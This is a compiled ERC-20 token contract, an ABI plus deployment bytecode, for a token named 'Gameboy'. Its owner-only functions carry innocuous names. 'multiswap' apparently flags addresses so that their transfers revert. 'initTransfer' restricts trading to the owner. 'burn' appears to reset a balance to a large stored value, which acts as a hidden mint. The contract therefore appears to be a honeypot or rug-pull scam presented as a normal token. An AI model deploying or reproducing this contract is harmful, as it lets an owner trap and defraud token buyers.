[ { "inputs": [ { "internalType": "string", "name": "name", "type": "string" }, { "internalType": "string", "name": "symbol", "type": "string" }, { "internalType": "uint256", "name": "totalSupply", "type": "uint256" }, { "internalType": "bool", "name": "initTransfer", "type": "bool" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "burn", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "subtractedValue", "type": "uint256" } ], "name": "decreaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "increaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "initTransfer", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "marketingWallet", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "addr", "type": "address[]" }, { "internalType": "bool", "name": "val", "type": "bool" } ], "name": "multiswap", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040526a52b7d2dcc80cd2e40000006004553480156200002057600080fd5b50604051620014ea380380620014ea833981016040819052620000439162000316565b600080546001600160a01b03191633179055835184908490839062000070906005906020860190620001c5565b50815162000086906006906020850190620001c5565b506004546008556007805460ff191691151591909117905550620000cf905033620000b0620000d9565b620000bd90600a62000446565b620000c990856200053e565b620000de565b50505050620005c9565b600990565b6001600160a01b038216620001105760405162461bcd60e51b815260040162000107906200039e565b60405180910390fd5b6200011e60008383620001c0565b8060036000828254620001329190620003de565b90915550506001600160a01b0382166000908152600160205260408120805483929062000161908490620003de565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620001a6908590620003d5565b60405180910390a3620001bc60008383620001c0565b5050565b505050565b828054620001d39062000560565b90600052602060002090601f016020900481019282620001f7576000855562000242565b82601f106200021257805160ff191683800117855562000242565b8280016001018555821562000242579182015b828111156200024257825182559160200191906001019062000225565b506200025092915062000254565b5090565b5b8082111562000250576000815560010162000255565b600082601f8301126200027c578081fd5b81516001600160401b0380821115620002995762000299620005b3565b6040516020601f8401601f1916820181018381118382101715620002c157620002c1620005b3565b6040528382528584018101871015620002d8578485fd5b8492505b83831015620002fb5785830181015182840182015291820191620002dc565b838311156200030c57848185840101525b5095945050505050565b600080600080608085870312156200032c578384fd5b84516001600160401b038082111562000343578586fd5b62000351888389016200026b565b9550602087015191508082111562000367578485fd5b5062000376878288016200026b565b935050604085015191506060850151801515811462000393578182fd5b939692955090935050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003f457620003f46200059d565b500190565b80825b60018086116200040d57506200043d565b8187048211156200042257620004226200059d565b808616156200043057918102915b9490941c938002620003fc565b94509492505050565b60006200045a60001960ff85168462000461565b9392505050565b60008262000472575060016200045a565b8162000481575060006200045a565b81600181146200049a5760028114620004a557620004d9565b60019150506200045a565b60ff841115620004b957620004b96200059d565b6001841b915084821115620004d257620004d26200059d565b506200045a565b5060208310610133831016604e8410600b841016171562000511575081810a838111156200050b576200050b6200059d565b6200045a565b620005208484846001620003f9565b8086048211156200053557620005356200059d565b02949350505050565b60008160001904831182151516156200055b576200055b6200059d565b500290565b6002810460018216806200057557607f821691505b602082108114156200059757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b610f1180620005d96000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101d3578063a9059cbb146101e6578063d8feb48e146101f9578063dd62ed3e1461020c576100f5565b806370a082311461019d57806391b69fa0146101b057806395d89b41146101b85780639dc29fac146101c0576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063338d466914610175578063395093511461018a576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b61010261021f565b60405161010f9190610b3d565b60405180910390f35b61012b610126366004610a85565b6102b1565b60405161010f9190610b32565b6101406102d3565b60405161010f9190610e29565b61012b61015b366004610a4a565b6102d9565b610168610307565b60405161010f9190610e32565b610188610183366004610aae565b61030c565b005b61012b610198366004610a85565b6103cf565b6101406101ab3660046109f7565b61041b565b61018861043a565b610102610498565b6101886101ce366004610a85565b6104a7565b61012b6101e1366004610a85565b6104ea565b61012b6101f4366004610a85565b61054b565b61012b6102073660046109f7565b610563565b61014061021a366004610a18565b610581565b60606005805461022e90610e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461025a90610e6f565b80156102a75780601f1061027c576101008083540402835291602001916102a7565b820191906000526020600020905b81548152906001019060200180831161028a57829003601f168201915b5050505050905090565b6000806102bc6105ac565b90506102c98185856105b0565b5060019392505050565b60035490565b6000806102e46105ac565b90506102f1858285610664565b6102fc8585856106a8565b506001949350505050565b600990565b6103146105ac565b6000546001600160a01b0390811691161461034a5760405162461bcd60e51b815260040161034190610cd4565b60405180910390fd5b60005b828110156103c957816009600086868581811061037a57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061038f91906109f7565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806103c181610eaa565b91505061034d565b50505050565b6000806103da6105ac565b6001600160a01b038082166000908152600260209081526040808320938916835292905220549091506102c99082908690610416908790610e40565b6105b0565b6001600160a01b0381166000908152600160205260409020545b919050565b6104426105ac565b6000546001600160a01b0390811691161461046f5760405162461bcd60e51b815260040161034190610cd4565b60075460ff1661048b576007805460ff19166001179055610496565b6007805460ff191690555b565b60606006805461022e90610e6f565b6104af6105ac565b6000546001600160a01b039081169116146104dc5760405162461bcd60e51b815260040161034190610cd4565b6104e682826108f3565b5050565b6000806104f56105ac565b6001600160a01b038082166000908152600260209081526040808320938916835292905220549091508381101561053e5760405162461bcd60e51b815260040161034190610de4565b6102fc82868684036105b0565b6000806105566105ac565b90506102c98185856106a8565b6001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105d65760405162461bcd60e51b815260040161034190610da0565b6001600160a01b0382166105fc5760405162461bcd60e51b815260040161034190610c15565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610657908590610e29565b60405180910390a3505050565b60006106708484610581565b905060001981146103c9578181101561069b5760405162461bcd60e51b815260040161034190610c57565b6103c984848484036105b0565b6001600160a01b0383166106ce5760405162461bcd60e51b815260040161034190610d4a565b6001600160a01b0382166106f45760405162461bcd60e51b815260040161034190610b90565b60075460ff16151560011480610722575061070d6109d1565b6001600160a01b0316836001600160a01b0316145b8061074557506107306109d1565b6001600160a01b0316826001600160a01b0316145b156108c0576001600160a01b038316600090815260016020526040902054156108bb576001600160a01b03831660009081526009602052604090205460ff16156107ac5780156107a75760405162461bcd60e51b815260040161034190610d8f565b6108bb565b6001600160a01b03821660009081526009602052604090205460ff166107ec57600081116107ec5760405162461bcd60e51b815260040161034190610d8f565b6107f78383836108ee565b6001600160a01b038316600090815260016020526040902054818110156108305760405162461bcd60e51b815260040161034190610c8e565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610867908490610e40565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b19190610e29565b60405180910390a3505b6108e7565b60075460ff1615156001146108e75760405162461bcd60e51b815260040161034190610d8f565b6108ee8383835b505050565b6001600160a01b0382166109195760405162461bcd60e51b815260040161034190610d09565b6001600160a01b038216600090815260016020526040902054818110156109525760405162461bcd60e51b815260040161034190610bd3565b816008546109609190610e58565b6001600160a01b0384166000908152600160205260408120919091556003805484929061098e908490610e58565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610657908690610e29565b6000546001600160a01b031690565b80356001600160a01b038116811461043557600080fd5b600060208284031215610a08578081fd5b610a11826109e0565b9392505050565b60008060408385031215610a2a578081fd5b610a33836109e0565b9150610a41602084016109e0565b90509250929050565b600080600060608486031215610a5e578081fd5b610a67846109e0565b9250610a75602085016109e0565b9150604084013590509250925092565b60008060408385031215610a97578182fd5b610aa0836109e0565b946020939093013593505050565b600080600060408486031215610ac2578283fd5b833567ffffffffffffffff80821115610ad9578485fd5b818601915086601f830112610aec578485fd5b813581811115610afa578586fd5b8760208083028501011115610b0d578586fd5b602092830195509350508401358015158114610b27578182fd5b809150509250925092565b901515815260200190565b6000602080835283518082850152825b81811015610b6957858101830151858201604001528201610b4d565b81811115610b7a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b602080825260009082015260400190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610e5357610e53610ec5565b500190565b600082821015610e6a57610e6a610ec5565b500390565b600281046001821680610e8357607f821691505b60208210811415610ea457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610ebe57610ebe610ec5565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220cfa23889f6796315bf0cf7d95821e693da8bc57e070116f1dcc5d417bd688cac64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000747616d65626f7900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000747414d45424f5900000000000000000000000000000000000000000000000000
0xa2646970667358221220cfa23889f6796315bf0cf7d95821e693da8bc57e070116f1dcc5d417bd688cac64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000747616d65626f7900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000747414d45424f5900000000000000000000000000000000000000000000000000